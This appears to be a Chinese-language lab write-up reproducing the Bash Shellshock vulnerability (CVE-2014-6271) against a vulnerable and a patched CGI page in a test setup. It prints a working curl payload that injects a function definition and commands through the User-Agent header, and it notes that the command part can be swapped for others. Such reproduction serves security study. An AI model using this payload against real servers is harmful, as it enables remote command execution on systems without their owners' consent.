CVE-2014-6271 Bash破壳漏洞Shellshock (复现)

服务启动后,通过浏览器或命令行访问以下两个页面,确认服务已正常运行:

存在漏洞的页面(基于 bash4.3):http://your-ip:8080/victim.cgi

修复后的页面(基于最新版 bash):http://your-ip:8080/safe.cgi

执行curl -H "User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id" http://192.168.75.132:8080/victim.cgi命令

发送 HTTP 请求,在User-Agent头中注入 Payload

Payload 说明:

() { foo; }; 是为了绕过 bash 的函数定义检查,后面的echo Content-Type: text/plain; echo; /usr/bin/id会被漏洞 bash 执行,其中:

echo Content-Type: text/plain; echo; 用于正确输出 HTTP 响应头

/usr/bin/id 是要执行的系统命令(可替换为其他命令,如/bin/ls等)

观察结果

访问victim.cgi时,命令会被成功执行,返回id命令的结果(如用户 UID、GID 等信息),说明漏洞存在。

访问safe.cgi时,相同的 Payload 不会被执行,只会返回正常页面内容,说明修复有效

这里返回id命令,漏洞利用成功!